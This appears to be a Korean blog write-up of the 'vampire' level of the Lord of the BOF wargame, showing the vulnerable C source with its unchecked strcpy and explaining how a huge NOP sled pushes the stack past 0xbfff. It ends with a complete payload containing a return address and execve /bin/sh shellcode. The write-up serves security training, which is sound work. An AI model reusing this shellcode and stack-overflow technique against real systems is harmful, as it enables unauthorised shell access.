이번 문제의 C 소스를 보면 argv[1]의 46번째 문자가 \xff가 아니여야한다. 하지만 지금까지 스택주소는 계속 0xbfff 로 시작했다. 

이 주소로 시작하는 스택은 사용할 수 없는 것이다

/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}


처음에 이것저것 시도해보다가.. 버퍼에 아주 많은 값을 밀어넣어서 스택프레임의 크기를 크게 만들면 된다는 것을 알았다.
스택은 위에서 아래로 자라기 때문에 프레임의 크기를 계속 키우면 0xbfff가 아닌 0xbffe의 영역을 사용할 수 있다.



버퍼에 NOP를 추가해 주면서 계속 ESP의 값을 확인하다보니  NOP를 70000개 정도 주면 0xbffe를 사용할 수 있다는 것을 알았다.


이제 NOP sled를 타기 위해 적당한 주소를 찾아서 payload를 작성하면 된다.


쉘을 땄다.


payload = `python -c 'print "\x90"*44+"\x50\x74\xfe\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow skeleton  (0) 2017.08.21
Lord of bufferoverflow vampire  (0) 2017.08.18
Lord of bufferoverflow orge  (0) 2017.08.18
Lord of bufferoverflow darkelf  (0) 2017.08.17
Lord of bufferoverflow wolfman  (0) 2017.08.17

+ Recent posts